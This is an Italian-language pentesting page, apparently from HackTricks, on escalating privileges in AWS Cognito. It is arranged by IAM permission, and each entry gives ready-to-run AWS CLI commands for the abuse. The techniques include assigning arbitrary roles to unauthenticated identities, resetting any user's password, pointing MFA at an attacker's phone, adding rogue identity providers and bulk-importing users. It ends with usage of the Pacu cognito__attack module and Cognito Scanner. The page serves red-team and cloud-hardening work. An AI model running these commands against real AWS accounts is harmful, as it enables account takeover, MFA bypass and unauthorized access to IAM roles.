AWS - Cognito Privesc

Reading time: 13 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cognito

Per ulteriori informazioni su Cognito, controlla:

AWS - Cognito Enum

Raccolta delle credenziali dall'Identity Pool

Poiché Cognito può concedere credenziali di ruolo IAM sia a utenti autenticati che non autenticati, se riesci a localizzare l'ID dell'Identity Pool di un'applicazione (dovrebbe essere hardcoded in essa) puoi ottenere nuove credenziali e quindi privesc (all'interno di un account AWS in cui probabilmente non avevi nemmeno credenziali precedentemente).

Per ulteriori informazioni controlla questa pagina.

Impatto Potenziale: Privesc diretto al ruolo dei servizi associato agli utenti non autenticati (e probabilmente a quello associato agli utenti autenticati).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con questo permesso puoi concedere qualsiasi ruolo cognito agli utenti autenticati/non autenticati dell'app cognito.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Se l'app cognito non ha abilitati gli utenti non autenticati, potresti aver bisogno anche del permesso cognito-identity:UpdateIdentityPool per abilitarlo.

Impatto Potenziale: Privilegi di escalation diretti a qualsiasi ruolo cognito.

cognito-identity:update-identity-pool

Un attaccante con questo permesso potrebbe impostare, ad esempio, un Cognito User Pool sotto il suo controllo o qualsiasi altro provider di identità dove può accedere come modo per accedere a questo Cognito Identity Pool. Poi, semplicemente accedere a quel provider di utenti gli permetterà di accedere al ruolo autenticato configurato nell'Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È anche possibile abusare di questo permesso per consentire l'autenticazione di base:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impatto Potenziale: Compromettere il ruolo IAM autenticato configurato all'interno del pool di identità.

cognito-idp:AdminAddUserToGroup

Questo permesso consente di aggiungere un utente Cognito a un gruppo Cognito, quindi un attaccante potrebbe abusare di questo permesso per aggiungere un utente sotto il suo controllo ad altri gruppi con privilegi migliori o ruoli IAM diversi:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impatto Potenziale: Privesc ad altri gruppi Cognito e ruoli IAM associati ai Gruppi del Pool Utenti.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaccante con questi permessi potrebbe creare/aggiornare gruppi con ogni ruolo IAM che può essere utilizzato da un Cognito Identity Provider compromesso e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impatto Potenziale: Privesc ad altri ruoli IAM di Cognito.

cognito-idp:AdminConfirmSignUp

Questo permesso consente di verificare una registrazione. Per impostazione predefinita, chiunque può accedere alle applicazioni Cognito; se ciò viene lasciato, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questo permesso.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati se puoi registrare un nuovo utente. Privesc indiretto ad altre funzionalità dell'app potendo confermare qualsiasi account.

cognito-idp:AdminCreateUser

Questo permesso consentirebbe a un attaccante di creare un nuovo utente all'interno del pool di utenti. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la propria password.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente.

cognito-idp:AdminEnableUser

Questa autorizzazione può aiutare in uno scenario molto particolare in cui un attaccante ha trovato le credenziali di un utente disabilitato e ha bisogno di riattivarlo.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati e permessi dell'utente se l'attaccante avesse credenziali per un utente disabilitato.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Questo permesso consente di accedere con il metodo ADMIN_USER_PASSWORD_AUTH. Per ulteriori informazioni segui il link.

cognito-idp:AdminSetUserPassword

Questo permesso consentirebbe a un attaccante di cambiare la password di qualsiasi utente, rendendolo in grado di impersonare qualsiasi utente (che non ha MFA abilitato).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impatto Potenziale: Privesc diretto a potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attaccante potrebbe potenzialmente abusare di questo permesso per impostare un telefono cellulare sotto il suo controllo come SMS MFA di un utente.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un utente per bypassare la protezione MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un pool utenti per bypassare la protezione MFA.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: È anche possibile aggiornare il pool utenti per modificare la politica MFA. Check cli here.

Potential Impact: Privesc indiretto a potenzialmente qualsiasi utente di cui l'attaccante conosce le credenziali, questo potrebbe consentire di bypassare la protezione MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaccante con questo permesso potrebbe cambiare l'email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere più privilegi in un'applicazione sottostante.
Questo consente di cambiare un'email o un numero di telefono e impostarlo come verificato.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impatto Potenziale: Potenziale privesc indiretto nell'applicazione sottostante che utilizza Cognito User Pool che conferisce privilegi basati sugli attributi dell'utente.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaccante con questo permesso potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client di pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo per autenticarsi, non avere alcun segreto, avere la revoca dei token disabilitata, consentire ai token di essere validi per un periodo più lungo...

Lo stesso può essere fatto se invece di creare un nuovo client, un esistente viene modificato.

Nella linea di comando (o nell'aggiornamento) puoi vedere tutte le opzioni, controllalo!.

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impatto Potenziale: Potenziale privesc indiretto all'utente autorizzato dell'Identity Pool utilizzato dal User Pool creando un nuovo client che allenta le misure di sicurezza e rende possibile a un attaccante di accedere con un utente che è stato in grado di creare.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaccante potrebbe abusare di questo permesso per creare utenti caricando un csv con nuovi utenti.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Nel caso in cui crei un nuovo lavoro di importazione, potresti anche aver bisogno del permesso iam passrole, non l'ho ancora testato).

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaccante potrebbe creare un nuovo provider di identità per poi poter accedere tramite questo provider.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app essendo in grado di creare qualsiasi utente.

cognito-sync:* Analisi

Questo è un permesso molto comune per impostazione predefinita nei ruoli dei Cognito Identity Pools. Anche se un carattere jolly nei permessi sembra sempre brutto (soprattutto proveniente da AWS), i permessi concessi non sono super utili da una prospettiva di attaccante.

Questo permesso consente di leggere informazioni sugli utenti dei Identity Pools e sugli Identity IDs all'interno dei Identity Pools (che non sono informazioni sensibili).
Gli Identity IDs potrebbero avere Datasets assegnati, che sono informazioni delle sessioni (AWS lo definisce come un gioco salvato). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella pagina di enumerazione come accedere a queste informazioni.

Un attaccante potrebbe anche utilizzare questi permessi per iscriversi a uno stream Cognito che pubblica modifiche su questi dataset o a una lambda che si attiva su eventi cognito. Non ho visto questo essere utilizzato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

Strumenti Automatici

  • Pacu, il framework di sfruttamento AWS, ora include i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali del pool di identità utilizzabili, ruoli assunibili nei token id, ecc.

Per una descrizione delle funzioni dei moduli vedere la parte 2 del post del blog. Per le istruzioni di installazione vedere la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo di cognito__attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation di privilegi.

Installazione

bash
$ pip install cognito-scanner

Utilizzo

bash
$ cognito-scanner --help

Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks